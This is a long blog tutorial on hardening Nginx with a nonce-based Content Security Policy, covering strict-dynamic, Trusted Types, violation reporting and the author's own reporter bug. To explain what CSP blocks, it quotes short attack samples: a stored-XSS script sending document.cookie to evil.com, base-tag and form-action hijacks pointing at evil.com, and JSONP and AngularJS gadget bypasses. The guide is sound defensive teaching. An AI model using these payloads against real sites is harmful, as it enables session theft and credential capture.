Back to Blog
36 min Copy as Markdown
Part 2 / 5 · Hardening Nginx, edge inward

Content Security Policy (CSP) with Nginx: The Complete Guide

75.81% of CSP policies use script allowlists an attacker can bypass, according to Google's own research; a nonce-based policy with strict-dynamic is what actually stops injected script and earns an A+.

Cover image for Content Security Policy (CSP) with Nginx: The Complete Guide

Cross-Site Scripting (XSS) remains one of the most devastating web vulnerabilities. In the OWASP Top 10 2021 it sits inside A03: Injection as CWE-79 — a category with 33 mapped CWEs, 274,228 recorded occurrences and a maximum incidence rate of 19.09% across the applications tested. According to Google’s security research, even websites with CSP often fail to implement it correctly — Google found bypasses in 94.72% of all distinct policies, and 75.81% rely on script allowlists an attacker can bypass.

Content Security Policy (CSP) is your browser-level defense against these attacks. Think of it as a strict “guest list” for your website—you explicitly tell the browser which resources (scripts, styles, images) are allowed to execute. Anything not on the list gets blocked, even if an attacker manages to inject malicious code.

This guide takes you from zero to a production-ready, A+ rated CSP configuration. You’ll learn not just the “how” but the “why” behind each directive, understand modern bypass techniques and how to prevent them, and discover advanced topics like Trusted Types for DOM-based XSS prevention.

TL;DR — a nonce-based CSP on Nginx

7 key points
  • Allowlists do not hold. Google found bypasses in 94.72% of all distinct CSP policies, and 75.81% rely specifically on script allowlists an attacker can bypass — because trusted CDNs host JSONP endpoints and outdated libraries that turn an allowed origin into an execution path.
  • A nonce is per-request and unguessable, so an injected <script> carries no valid token and is refused — which is what an allowlist cannot promise. It is not a blanket guarantee: strict-dynamic still lets an already-trusted script load more, a leaked nonce is a valid nonce, and DOM sinks need Trusted Types (below).
  • A static site can still use nonces. Nginx generates one per request and sub_filter substitutes the placeholder in the response body, so no application server is involved. That is exactly how this page is served.
  • strict-dynamic propagates trust from a nonced script to whatever it loads, which is what makes the policy survive bundlers and dynamic imports without reopening the allowlist.
  • object-src 'none' and base-uri 'none' are not optional — without them a strict policy is still bypassable through plugin content and <base> injection.
  • Trusted Types (CSP Level 3) closes the DOM sink, the class of XSS that a script-source policy cannot reach on its own.
  • The measured result at the time of writing: an A+ on Mozilla Observatory with a score of 140 and all 10 tests passed, reached by running Content-Security-Policy-Report-Only with a report-uri for one to two weeks before enforcing.

How I run this on my own infrastructure

This isn’t a hypothetical — jmrp.io itself is the reference implementation for everything above. Production Nginx sets set $cspNonce $request_id; and rewrites the placeholder with sub_filter NGINX_CSP_NONCE $cspNonce;, so every response carries a fresh nonce tied to that request. The header this site actually serves is nonce-based: default-src 'none', script-src 'self' 'nonce-…' 'strict-dynamic', style-src 'self' 'nonce-…', plus frame-ancestors 'none', base-uri 'none', and report-uri /csp-report. The 'self' in there is a same-origin fallback for browsers that don’t support strict-dynamic; where it is supported the browser ignores 'self' and the nonce is the only thing that grants execution. Zero unsafe-inline, zero third-party domain allowlists to maintain.

Violations don’t disappear into a log nobody reads: I run my own receiver (scripts/csp-reporter.mjs) that surfaces them as they happen, instead of relying on a third party to tell me what’s breaking.

Measured against the current Mozilla Observatory API (v5), this configuration earns an A+ rating: a score of 140, with all 10 tests passing and zero failures. That’s the number as of writing — not the 145 you might see referenced elsewhere on this site from a December 2025 commit. That older total included a 5-point bonus Observatory grants for serving cookies with Secure/HttpOnly/SameSite; those cookies were two placeholder values that did nothing useful, and removing them — so this site’s /privacy/ page can honestly claim no response ever sets Set-Cookie — cost 5 cosmetic points on a policy that already fails nothing. That trade was obviously worth it.

What the violation reports actually contain

That receiver averages around twenty reports a day, and the average is the least useful number in the set: most days bring a handful, and an occasional day brings hundreds. What matters is the composition, and it has been stable for as long as I have been reading them. The overwhelming majority are crawlers. Nearly all of the rest are browser extensions and antivirus software injecting scripts and styles into someone else’s page. Not one has ever turned out to be a defect in this site.

The blocked-eval reports are the clearest case, because they are trivially falsifiable: no JavaScript file this site serves contains eval( or new Function( — after a production build, the only occurrences of that literal anywhere in the output are in the prose of this very post. They arrive in bursts from a single address and a single user-agent, which is one visitor with something injecting code into their browser, not a policy that is too tight.

That is the honest return on a report-uri: it mostly tells you what other people’s software is doing to your pages. It has never once told me my own policy was wrong — which does not make it useless, because it made me read my own receiver closely enough to find the bug below.

The bug this audit found in my own reporter

That composition is only trustworthy because sitting down to check it turned up a parsing bug in the receiver itself.

On 22 August I added a report-to endpoint alongside the legacy report-uri. The two APIs disagree on shape: the legacy one POSTs a single {"csp-report": {…}} object with kebab-case field names, while the Reporting API sends {type, url, body: {…}} envelopes with camelCase ones. A normalizeReports() function exists to map the second onto the first — and it did, but only when the payload arrived as an array.

scripts/csp-reporter.mjs — the bug javascript
function normalizeReports(parsed) {
  // A bare envelope is not an array, so it escaped on this line
  // and reached the filters with every kebab-case field undefined.
  if (!Array.isArray(parsed)) return [parsed];
  return parsed.map(/* camelCase → kebab-case */);
}

A browser that POSTs one bare envelope instead of an array of one fell straight through that first line. The report arrived at the filters with no directive, no blocked URI and no source file — nothing to match on — so nothing was discarded, all of it was logged as unclassifiable, and four of those empty reports made it past the rate limiter and onto my phone as Telegram alerts with a blank violation inside.

Ten reports arrived that way between 22 and 26 August. Decoded by hand they are entirely ordinary: six carry a safari-web-extension://… or safari-extension://… source file, and the other four are inline <style> elements the browser attributes to the document itself. Both categories were already covered by the discard filters; the filters just never got to see the fields. The fix is to accept a bare envelope as well as an array of them.

The shape of the mistake is what makes it worth writing down. A claim that none of these reports is a real defect, resting partly on reports nobody could read, is not a claim at all — and I had no way of knowing which it was until I decoded them by hand.


Why did CSP move from allowlists to nonces?

Content Security Policy has evolved significantly since its introduction. Understanding this evolution helps you appreciate why modern “strict CSP” approaches exist.

  1. X-Content-Security-Policy

    Mozilla introduces the first CSP implementation as an experimental header. Mozilla Security Blog

  2. CSP Level 1 Milestone

    W3C standardizes CSP with basic fetch directives (script-src, style-src, etc.). W3C CSP 1.0 Spec

  3. CSP Level 2 Milestone

    Introduces nonces, hashes, and frame-ancestors. 'unsafe-inline' can be overridden by nonces. W3C CSP Level 2

  4. Google Research Deprecated

    Google publishes 'CSP Is Dead, Long Live CSP' showing bypasses in 94.72% of all distinct policies, 75.81% of them using bypassable script allowlists. Research Paper

  5. strict-dynamic Standard

    New keyword allows trusted scripts to load dependencies without explicit allowlisting. MDN strict-dynamic

  6. CSP Level 3 (Working Draft) Milestone

    Introduces Trusted Types, report-to, and improved WebAssembly support. W3C CSP Level 3

  7. Trusted Types Adoption Standard

    Browser support matures; enterprises begin adopting for DOM-XSS prevention. web.dev Trusted Types


Your First CSP in 5 Minutes

Let’s get a working CSP right now. Open your Nginx configuration and add this single header:

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}

Test your configuration and reload Nginx:

sudo nginx -t && sudo systemctl reload nginx

That’s it! You now have a working CSP. Open your browser’s DevTools (F12 → Console) to see any violations:

Browser Console
Refused to load the script 'https://cdn.example.com/analytics.js' because it
violates the following Content Security Policy directive: "default-src 'self'".

What does a CSP allowlist actually allow?

CSP works by defining what’s allowed, not what’s blocked. Think of it as a VIP list at an exclusive event—only resources on the list get in.

Browser

✓ Allowed

✗ Blocked

CSP Policy

Your scripts

(self)

CDN scripts

(external)

Inline scripts

()

Injected XSS

scripts

Execute

Reject

CSP acts as a gatekeeper for all browser resources

Why CSP Matters: The Defense-in-Depth Principle

Without CSP, if an attacker injects <script>stealCookies()</script> into your page (via a comment form, URL parameter, or database), the browser happily executes it—there’s no way to distinguish legitimate scripts from malicious ones.

With CSP, the browser checks every resource against your policy before execution. If inline scripts aren’t explicitly allowed, the attack is neutralized at the browser level.


How XSS Attacks Work (and How CSP Stops Them)

To understand CSP’s value, let’s trace a typical XSS attack:

Attacker's ServerVictim's BrowserYour WebsiteAttackerAttacker's ServerVictim's BrowserYour WebsiteAttackerComment stored in database(no sanitization)Browser sees <script> tagand executes itAttacker now hasvictim's sessionSubmit malicious commentcontaining script tagVisit page with commentsHTML with injected scriptScript sends cookies/sessiontokens to attacker
XSS attack flow without CSP protection

Step-by-Step Breakdown

  1. Injection: Attacker submits a comment containing:

    <script>fetch('https://evil.com?c='+document.cookie)</script>
  2. Storage: The website stores this in the database without proper sanitization

  3. Delivery: When another user views the page, the malicious script is served as part of the HTML

  4. Execution: The browser sees a <script> tag and executes it—no questions asked

  5. Exfiltration: The script sends session cookies to the attacker’s server

How CSP Breaks the Chain

With CSP (script-src 'self'), step 4 fails. The browser checks: “Is this an inline script? Is 'unsafe-inline' allowed?” Since inline scripts are blocked by default, the attack is neutralized:

Browser Console with CSP
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'". Either the
'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce ('nonce-…')
is required to enable inline execution.

Attack Vectors CSP Prevents

CSP addresses multiple threat categories. Here’s how different directives create defense-in-depth:

Common Threats Mitigated by CSP
ThreatAttack VectorCSP Defense
Reflected XSSScripts injected via URL parametersscript-src without 'unsafe-inline'
Stored XSSScripts injected via database contentscript-src with nonces/hashes
DOM-based XSSeval(), innerHTML abusescript-src without 'unsafe-eval' + Trusted Types
Data exfiltrationXHR/fetch to attacker serversconnect-src 'self'
ClickjackingSite framed by malicious pageframe-ancestors 'none'
Mixed contentHTTP resources on HTTPS pagesupgrade-insecure-requests
Plugin attacksFlash, Java, PDF exploitsobject-src 'none'
Form hijackingInjected forms to steal credentialsform-action 'self'
Base tag injectionRedirecting relative URLs to attackerbase-uri 'none'

CSP Directives: Learn by Doing

Instead of memorizing tables, let’s learn each directive by adding it to our policy progressively.

1. default-src: The Fallback

This is the catch-all directive. If you don’t specify a directive for a resource type, default-src applies.

default-src CSP Level 1 MDN

default-src <source-list>

Default: * (allow all)

Fallback for all unspecified fetch directives. Set this restrictively and add specific directives as needed.

Best practice: Set default-src 'none' and explicitly allow what you need. This is the “deny by default” approach that security professionals recommend.

default-src directive nginx
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';

2. script-src: The Most Critical Directive

This controls which scripts can execute on your page. Get this wrong and your entire CSP is effectively useless.

script-src CSP Level 1 MDN

script-src <source-list>

Default: Falls back to default-src

Specifies valid sources for JavaScript. This is the most important directive for XSS protection.

script-src Source Values
ValueMeaningSecurity
'self'Same origin only (scheme + host + port)Safe
'none'Block all scripts entirelyMaximum
'nonce-{random}'Allow scripts with matching nonce attributeRecommended
'sha256-{hash}'Allow scripts with matching content hashStrong
'strict-dynamic'Trust propagates to dynamically loaded scriptsStrong
https://cdn.example.comAllow scripts from specific domainWeak (bypassable)
'unsafe-inline'Allow all inline scriptsDangerous
'unsafe-eval'Allow eval(), Function(), etc.Dangerous

3. style-src: CSS Control

style-src CSP Level 1 MDN

style-src <source-list>

Default: Falls back to default-src

Specifies valid sources for stylesheets. Less critical than script-src but still important for comprehensive protection.

style-src with unsafe-inline nginx
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';

4. Resource Directives

# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;

data: is often needed for base64-encoded images, SVG icons, or placeholder images.

# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;

This controls where JavaScript can send data. Critical for preventing stolen data from being sent to attacker servers.

# Audio and video sources
media-src 'self';
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;

Controls sources for Worker, SharedWorker, and ServiceWorker scripts. If not specified, falls back to script-src.

5. Security Hardening Directives

These are often overlooked but are required for strict CSP:

object-src 'none' — Block Plugins

Plugins like Flash and Java have historically been major vulnerability vectors. Although Flash is deprecated, blocking object-src prevents any plugin-based attacks:

object-src directive nginx
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';

base-uri 'none' — Prevent Base Tag Injection

The <base> tag defines a base URL for all relative URLs in a document. If an attacker injects a <base> tag, they can redirect all your relative URLs to their server:

Attack Without base-uri
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
With base-uri 'none'
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.

frame-ancestors 'none' — Clickjacking Protection

Prevents your site from being embedded in iframes on other sites:

frame-ancestors directive nginx
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';

form-action 'self' — Control Form Submissions

Prevents attackers from injecting forms that submit data to their servers:

form-action directive nginx
# Forms can only submit to your own domain
form-action 'self';

Building Your CSP Layer by Layer

Rather than writing a perfect CSP in one go (which leads to frustration), let’s build progressively. Each layer adds protection, and you can stop at any level based on your needs.

CSP Security Levels
LevelPolicy AdditionProtection Added
0No CSPNone—wide open to XSS
1default-src 'none'Blocks everything by default
2+ script-src 'self'Only your scripts run
3+ style-src, img-src, font-srcControls visual resources
4+ connect-src 'self'; object-src 'none'Limits data exfiltration, blocks plugins
5+ base-uri 'none'; frame-ancestors 'none'Prevents injection & clickjacking
6+ form-action 'self'; upgrade-insecure-requestsFull baseline protection

Level 6: A Solid Baseline CSP

Here’s what Level 6 looks like in practice:

/​etc/​nginx/​sites-available/​example.com
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;

The Inline Script Challenge

Most websites have inline scripts like this:

Common inline script html
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>

With script-src 'self', this is blocked. You have three solutions:

Inline Script Solutions Comparison
SolutionBest ForProsCons
External FilesSimple casesNo nonces/hashes needed; cacheableExtra HTTP request; can’t run before render
HashesStatic scriptsWorks for static content; no server changesMust regenerate on any script change
NoncesAll casesMost flexible; Google-recommendedRequires server-side nonce (Nginx trick for static sites)

Solution 1: Move to External Files

The cleanest approach—move inline code to .js files:

Inline (blocked by CSP)
<head>
  <script>
    initTheme();
  </script>
</head>
External (allowed)
<head>
  <script src="/js/theme.js"></script>
</head>

Solution 2: Use Hashes

Generate a SHA-256 hash of your script content and add it to your CSP. You can compute it right in your browser with the Hash Calculator — paste the exact script content and copy the sha256-… value into your policy.

Limitation: You must regenerate the hash whenever the script content changes—even adding a space will invalidate it.

Solution 3: Use Nonces

Add a random token to both the CSP header and your script tags:

Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>

Critical: The nonce must be:

  • Cryptographically random (at least 128 bits / 16 bytes)
  • Unique per request (never reuse nonces)
  • Encoded (base64 or hex — Nginx’s $request_id uses hex, which is valid per CSP spec)

Nonces for Static Sites: The Nginx Trick

Here’s the challenge: Static Site Generators (Astro, Next.js, Hugo) build HTML at build time. But nonces must be unique per request. How can static HTML contain dynamic nonces?

The Solution: Placeholder Substitution

BrowserNginxHTML on DiskBuild TimeBrowserNginxHTML on DiskBuild TimePlaceholder storedNonces match ✓Script executesHTML with placeholdernonce="CSP_NONCE_NGINX"GET /page.htmlGenerate unique nonce($request_id)Replace placeholderwith real nonceHTML + CSP headerwith matching nonce
Nginx nonce injection for static sites

Step 1: Use Placeholders in Your Templates

In your templates, use a placeholder that Nginx will replace:

src/​layouts/​BaseLayout.astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>

Step 2: Configure Nginx

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'nonce-$cspNonce';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}

What the Browser Sees

<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>

Going Strict with 'strict-dynamic'

The 'strict-dynamic' keyword is a game-changer: it allows scripts loaded by trusted scripts to also execute, without needing their own nonces.

No Trust (Blocked)

Trust Chain (Allowed)

CSP Policy

Creates

Loads

Validates

No match

No match

Nonce in header

'nonce-abc123'

Script with

nonce=abc123

createElement('script')

(no nonce needed)

Dynamically loaded

library.js

Injected XSS

script tag

Event handler

onclick=...

Blocked

Trust propagation with strict-dynamic

How It Works

Trust propagation example html
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>

When to Use 'strict-dynamic'

strict-dynamic Use Cases
ScenarioUse strict-dynamic?Reason
SPA with code splittingYesWebpack/Vite load chunks dynamically
Analytics (GA, Segment)YesAnalytics scripts often load additional scripts
Third-party widgetsYesChat widgets, embeds load their own dependencies
Simple static siteOptionalIf all scripts are in HTML, nonces alone suffice
No JavaScript at allNoUse script-src 'none' instead

The Strict CSP Formula

Based on Google’s research, a “strict CSP” that actually protects against XSS requires these elements:

Strict CSP Requirements
  • Uses nonces or hashes instead of domain allowlists
  • Includes 'strict-dynamic' for dynamic script loading
  • Sets object-src 'none' to block plugins
  • Sets base-uri 'none' to prevent base tag injection

The Template

Strict CSP template nginx
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

Why Allowlists Don’t Work

Common bypass vectors include:

  • JSONP endpoints on trusted CDNs
  • Open redirects on allowed domains
  • AngularJS template injection on allowed origins
  • User-uploaded content served from allowed domains

Interactive: Build Your CSP

Use the interactive CSP Policy Builder to construct a policy directive by directive and see its security rating in real time — it flags unsafe sources and generates the matching Nginx add_header line for you.


CSP Bypass Techniques and Prevention

Understanding how attackers bypass CSP helps you avoid common pitfalls.

1. JSONP Endpoints

JSONP endpoints execute user-controlled callbacks, making them a classic bypass vector:

Vulnerable
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
Protected
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->

2. Form Hijacking

Attackers can inject forms to steal credentials if form-action isn’t set:

Form hijacking attack html
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->

Prevention:

form-action 'self';

3. Base Tag Injection

Base tag attack html
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->

Prevention:

base-uri 'none';

4. Script Gadgets in Allowed Libraries

Some major libraries contain patterns that can be exploited for XSS when that library is allowed by CSP:

According to research by Sebastian Lekies et al., common libraries contain exploitable patterns:

Script Gadgets in Popular Libraries
LibraryGadget TypeAttack VectorRisk
AngularJS (1.x)Template injectionng-app + {{constructor.constructor('alert(1)')()}}Critical
jQuery (<3.0)Selector-based XSS$(location.hash) with user inputHigh
Require.jsDynamic importsAttacker-controlled module pathsMedium
Dojo ToolkitModule loadingrequire() with user inputMedium
Google ClosureTemplate systemUnsafe template renderingMedium

5. Missing object-src

Without object-src 'none', attackers can use plugins to execute code:

Object-based XSS html
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">

Prevention:

object-src 'none';

Trusted Types: The Next Evolution

While traditional CSP prevents injection of <script> tags, it doesn’t protect against DOM-based XSS where JavaScript directly writes to dangerous sinks:

DOM-based XSS vulnerability javascript
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution

Trusted Types forces developers to sanitize data before passing it to these sinks.

Trusted Types are experimental but maturing

Trusted Types is experimental .

How Trusted Types Work

User Input

innerHTML

XSS Executed

User Input

Sanitizer Policy

TrustedHTML

innerHTML

Safe

Trusted Types enforce sanitization at DOM sinks

Enabling Trusted Types

nginx.conf (CSP with Trusted Types)
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;

Creating a Trusted Types Policy

Trusted Types sanitization policy javascript
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!

Advanced: Per-Endpoint CSP

Different parts of your site may need different policies:

  • Admin panels: Stricter CSP
  • API endpoints: No CSP needed (JSON isn’t executed)
  • Static assets: Relaxed for social media previews
  • User-generated content pages: Extra restrictions

Implementation

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;

Migration: Report-Only to Enforcement

Never deploy strict CSP directly to production. Use a phased approach:

Safe CSP Migration Process
  1. Deploy in report-only mode (1-2 weeks)

    Use Content-Security-Policy-Report-Only to log violations without blocking anything. Monitor your logs to understand what would break.

  2. Analyze and fix violations

    Review reports and remediate issues:

    • Inline event handlers → addEventListener()
    • eval() calls → JSON.parse() or refactor
    • Missing nonces on inline scripts
    • Third-party scripts that need strict-dynamic
  3. Enable enforcement gradually

    Switch from Report-Only to Content-Security-Policy. Keep a report-only header for testing future stricter policies.

Phase 1: Report-Only

Report-only mode nginx
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-report;
" always;

Phase 2: Fix Common Issues

Common Issues to Fix
  • Inline event handlers → Convert onclick="..." to addEventListener()
  • eval() usage → Replace with JSON.parse() or refactor
  • Missing nonces → Add nonce="CSP_NONCE_NGINX" to inline scripts
  • Third-party scripts → Verify 'strict-dynamic' covers them
  • Inline styles in JS → Use CSS classes or CSS custom properties

Phase 3: Enforce

Enforcement mode nginx
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;

Setting Up CSP Reporting

CSP’s built-in reporting tells you when violations occur—essential for debugging and detecting attacks.

report-uri is deprecated

report-uri is deprecated .

Use instead: report-to

Option 1: Simple Nginx Logging

/​etc/​nginx/​sites-available/​example.com
# Reporting endpoint
location /csp-report {
    access_log /var/log/nginx/csp-report.log;
    return 204;
}
CSP Header with reporting
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-report;
    report-to csp-endpoint;
" always;

Option 2: Third-Party Services

Services like Report URI provide dashboards and analysis:

Third-party reporting nginx
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;

Violation Report Format

Browsers send JSON reports like this:

csp-violation-report.json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}

Refactoring Code for CSP

Some common patterns are incompatible with strict CSP. Here’s how to fix them:

Inline Event Handlers → addEventListener

Blocked by CSP
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
CSP-Compatible
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>

eval() → JSON.parse()

Uses eval() - Blocked
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
Uses JSON.parse() - Allowed
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;

Inline Styles in JS → CSS Custom Properties

Using setAttribute (can be blocked)
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
CSS Custom Properties
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
.highlighted {
  background: var(--user-color, #fff);
}

Testing and Validation

Browser DevTools

Your best friend for CSP debugging. Open F12 → Console to see violations in real-time:

CSP Violation in Chrome Console
Refused to execute inline script because it violates the following Content
Security Policy directive: "script-src 'nonce-abc123' 'strict-dynamic'".
Either the 'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce
('nonce-…') is required to enable inline execution.

Online Tools

CSP Testing Tools
ToolPurpose
Mozilla ObservatoryComprehensive security header grading (A+ possible)
Google CSP EvaluatorFinds logical bypasses in your policy (highly recommended)
SecurityHeaders.comQuick header analysis and scoring
CSP Hash GeneratorGenerate hashes for inline scripts

Common Pitfalls

1. Using 'unsafe-inline' for Scripts

Defeats CSP protection
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
Use nonces instead
# Actual protection
script-src 'self' 'nonce-$cspNonce';

2. Overly Permissive Sources

DON'T: Trusting entire schemes nginx
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;

This allows any HTTPS script to execute, completely defeating CSP’s purpose.

3. Forgetting Required Directives

Incomplete - Bypassable
# Missing critical directives!
script-src 'nonce-$cspNonce';
Complete Strict CSP
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

4. Missing always in Nginx

Only 2xx responses
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
All responses including errors
# CSP on ALL responses
add_header Content-Security-Policy "..." always;

Without always, CSP headers won’t be sent on error pages (404, 500), leaving those pages vulnerable.

